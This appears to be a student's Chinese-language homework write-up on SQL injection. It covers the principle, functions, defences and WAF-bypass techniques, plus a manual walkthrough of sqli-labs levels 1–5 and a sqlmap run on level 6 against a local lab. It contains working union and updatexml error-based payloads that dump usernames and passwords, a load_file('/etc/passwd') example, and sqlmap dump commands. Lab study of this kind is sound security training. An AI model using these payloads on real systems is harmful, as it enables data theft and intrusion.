要求
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
3.总结SQLi的手工注入的步骤
4.使用sqlmap通过或验证第六关
SQL注入总结
原理
SQL注入是一种针对后台数据库的攻击手段,其原理在于攻击者通过精心构造的恶意SQL命令插入到Web表单的输入域或页面请求中,当服务器执行这些SQL命令时,可以实现对数据库的非法操作,如猜解、查询、删除、添加数据等。SQL注入的漏洞条件通常包括输入参数用户可控、参数被带入数据库查询且未经过滤或验证。
常用函数
- version():返回数据库的版本信息,可以利用此信息来查找针对特定版本的数据库漏洞。
SELECT version();
- user():返回当前数据库的用户名,可以利用此信息来尝试进行权限提升或找到相关用户的敏感信息。
SELECT user();
- database():返回当前数据库名,可以利用此信息来尝试访问或操作其他数据库。
SELECT database();
- concat():拼接字符串,将多个字符串值连接成一个字符串。可以利用此函数来构造特定的输出,以便更容易地读取或理解数据。
SELECT concat(username, ' ', password) FROM users WHERE id = 1; # 将username和password字段的值拼接成一个字符串,中间用空格分隔
- group_concat():将多个行的列值连接成一个字符,可以利用此函数来获取多个值,而不需要分别查询每一行。
SELECT group_concat(username) FROM users; # 将users表中所有行的username字段的值连接成一个字符串。
- sleep():使数据库查询暂停执行指定的时间,常用于时间盲注。可以利用此函数来测量查询的执行时间,从而推断出某些信息。
SELECT sleep(5);
- if():根据条件返回不同的值,可用于逻辑判断。
SELECT if(user() = 'root', 'admin', 'user') as privilege; # 如果当前数据库用户是root,则返回admin,否则返回user。
- updatexml():XML更新函数,当第二个参数XPath格式错误时会报错,同时将传入的参数进行输出。常用于报错注入。
SELECT updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1); # XPath表达式是错误的,会导致数据库报错。报错信息中会包含user()函数的结果,从而泄露数据库用户信息。
- extractvalue():XML提取值函数,与updatexml()类似,也用于报错注入。
SELECT extractvalue(1, concat(0x7e, (SELECT user()), 0x7e));
- load_file():读取文件内容,常用于读取服务器上的敏感文件。
SELECT load_file('/etc/passwd'); # 尝试读取服务器上的/etc/passwd文件。
防御手段
- 对用户进行分级管理:严格控制用户的权限,禁止普通用户执行敏感操作。
- 参数化查询:在编写SQL语句时,通过参数化查询来传递变量,避免直接将用户输入拼接到SQL语句中。
- 输入验证:对用户输入的数据进行严格验证和过滤,特别是过滤掉单引号、双引号等特殊字符。
- 使用安全参数:利用数据库提供的安全参数来确保输入的安全性。
- 定期扫描和检测:使用专业的扫描工具定期检测系统中的SQL注入漏洞。
- 多层验证:在客户端和服务器端都进行输入验证,确保输入数据的安全性。
- 数据库信息加密:对敏感数据库信息进行加密存储,防止数据泄露。
绕过waf的方法
- 注释符号绕过:使用SQL注释符号(如–、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
- 编码绕过:通过URL编码、Unicode编码等方式来隐藏恶意SQL代码,绕过WAF的检测。
- 大小写绕过:利用数据库系统对大小写不敏感的特性,将SQL关键字写成不同的大小写形式来绕过基于大小写的过滤器。
- 特殊字符绕过:使用引号、逻辑运算符等特殊字符构造恶意SQL代码,绕过WAF的检测。
- 逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,结合盲注技术来绕过WAF的检测。
SQL注入靶场
项目源码:
第一关
提示输入变量id:
令id=1:
令id=2-1:
查询结果与id=1不同,说明此处为字符型。
使用union注入:
id=2' union select 1; --+
提示列数不对,依次增加select后面的列数,直到成功查询:
id=2' union select 1,2,3; --+
说明这个表有3列。
但这里仅显示了查询出的第一条记录,说明后台代码可能限制了显示的记录数。
用limit语句查看其他记录:
可以看到成功显示出了union select的查询结果。
爆库名:
id=2' union select 1,database(),3 limit 1,1; --+
库名为security。
爆表名:
id=2' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' limit 1,1; --+
可以看到其中有个users表。
爆users表的列名:
id=2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 1,1; --+
可以看到users表的列为id,username和password。
爆user列和password列:
id=2' union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+
可见成功得到了所有的用户名和密码。
看一下源码:
可见id变量直接被作为单引号字符串拼接到了sql语句里,并且使用了mysql_fetch_array()函数使得最终仅会展示查询到的第一条结果。
第二关
与第一关一样,测试一下id=1和id=2-1的查询结果:
结果一样,说明为数字型。
测试一下union注入:
id=1 union select 1,2,3 limit 1,1;--+
可见成功注入。
直接使用和上一关同样的方法:
id=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1; --+ # 爆表名,得到users
id=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 1,1; --+ # 爆列名,得到username和password
id=2 union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+
看一下源码:
可见这一关id直接被拼接到了sql语句里。
第三关
测试id=2-1的结果与id=2的结果一致,说明为字符型:
尝试使用union注入:
id=2' union select 1,2,3 --+
根据报错信息,可以推断出输入的单引号成功闭合了原始查询语句中,id变量前面的那个单引号。但id变量后面的那个单引号之后还有一个反括号)
,说明这里的id变量还被括号包裹。
因此再加个反括号闭合原始查询语句中的括号:
id=1') union select 1,2,3; --+
之后使用和前面同样的union注入方式:
id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1; --+ # 爆表名,得到users
id=1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 1,1; --+ # 爆列名,得到username和password
id=1') union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+
看一下源码:
可见id确实被单引号加括号包裹。
第四关
测试id=2-1的结果与id=2的结果一致,说明为字符型:
注入单引号,没有报错:
注入双引号,报错。并且报错信息中还有个反括号,说明这里的id变量同时被双引号和括号包裹:
之后使用和前面同样的union注入方式,闭合双引号和括号即可:
id=2") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1; --+ # 爆表名,得到users
id=2") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 1,1; --+ # 爆列名,得到username和password
id=2") union select 1,group_concat(username),group_concat(password) from users limit 1,1; --+
看一下源码:
可以看到id变量确实被双引号加括号包裹。
第五关
测试id=1:
加单引号,报错,说明id被单引号包裹:
之后经测试,发现查询成功的结果只会显示You are in…:
由于该题会提示报错信息,所以利用updatexml()函数,在其第二个参数处执行SQL语句,这样就会在报错信息中显示出查询结果(这里的0x7e为~
的ASCII码,主要是为了在报错信息里区分出查询结果):
id=1' union select 1,updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1),3 limit 1,1;--+
之后同样在updatexml()的第二个参数处注入SQL语句即可:
id=1' union select 1,updatexml(1, concat(0x7e, (SELECT group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1),3 limit 1,1;--+
id=1' union select 1,updatexml(1, concat(0x7e, (SELECT group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()), 0x7e), 1),3 limit 1,1;--+
id=1' union select 1,updatexml(1, concat(0x7e,(SELECT group_concat(username) from users), 0x7e), 1),3 limit 1,1;--+
id=1' union select 1,updatexml(1, concat(0x7e,(SELECT group_concat(password) from users), 0x7e), 1),3 limit 1,1;--+
爆表名:
爆列名:
爆用户名、密码:
这里由于updatexml()对输出的字符长度做了限制,导致最长只能显示32位。
看一下源码:
可以看到这题对id变量没有太多限制,而是不显示数据查询成功的结果。因此这题也可以用盲注的方法爆出信息。
第六关(Sqlmap)
先测试一下是否存在SQL注入点:
python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1
测试结果显示,id变量存在注入点,使用的是GET方法,注入方法可以是布尔盲注、报错注入或时间盲注。此外还测试出了我搭建靶场的本地Web环境的版本信息。
爆当前使用的数据库名(如果要爆所有库名就用--dbs
):
python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1 --dbms=MySQL --current-dbs
爆表名:
python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1 --dbms=MySQL -D 'security' --tables
爆字段:
python sqlmap.py -u http://127.0.0.1:8081/sqli-labs/Less-6/?id=1 --dbms=MySQL -D 'security' -T 'users' --dump
爆出的数据同时也被存放在了csv文件中:
手工注入步骤总结
- 判断有无注入点
目标:确定应用程序的输入点是否存在SQL注入漏洞。
方法:
- 尝试在输入点插入单引号(
'
)、双破折号(--
)等特殊字符,并观察应用程序的响应。如果应用程序返回数据库错误消息或行为异常,则可能存在SQL注入漏洞。 - 使用
and 1=1
和and 1=2
等逻辑判断语句,观察页面返回内容是否有变化。如果and 1=1
导致页面正常显示,而and 1=2
导致页面异常或返回不同的内容,则进一步确认存在SQL注入的可能性。
- 猜解列名数量
目标:确定数据库表中列的数量,以便后续构造正确的UNION SELECT语句。
方法:
- 在注入点后面添加
ORDER BY 数字
语句,逐渐增加数字的值,直到出现错误消息(如“未知的列”或“索引超出范围”等)。出现错误时,前一个数字通常就是表中的列数。
- 判断回显点
- 目标:确定哪些位置可以回显查询结果,以便在后续步骤中显示数据库信息。
- 方法:
- 使用
UNION SELECT
语句结合已知数量的列和自定义数据(如1,2,3,...
),尝试在页面中不同位置显示这些数据。观察哪些位置能够显示自定义数据,这些位置就是可能的回显点。 - 使用
CONCAT()
等函数将多个查询结果合并为一个字符串,并尝试在回显点显示。
- 使用
- 信息收集
- 目标:收集数据库的结构信息,包括数据库版本、当前数据库名、数据库中的表名及列名等。
- 方法:
- 使用
version()
函数获取数据库版本信息。 - 使用
database()
函数获取当前数据库名。 - 查询
information_schema
数据库中的schemata
、tables
和columns
表,获取数据库、表和列的信息。使用GROUP_CONCAT()
函数将多个结果合并为一个字符串,便于在单个查询中返回大量信息。 - 使用
@@global.version_compile_os
等系统变量获取操作系统信息,进一步了解目标环境。
- 使用
- 查找敏感数据
- 目标:利用收集到的信息,构造SQL语句以访问或操作数据库中的敏感数据(如用户账号、密码等)。
- 方法:
- 根据已知的表名和列名,直接查询敏感数据。例如,使用
SELECT column_name FROM table_name WHERE condition
语句获取特定条件下的数据。 - 如果数据库支持文件读写或命令执行等高级功能,可以利用这些功能进行更高级的攻击。
- 根据已知的表名和列名,直接查询敏感数据。例如,使用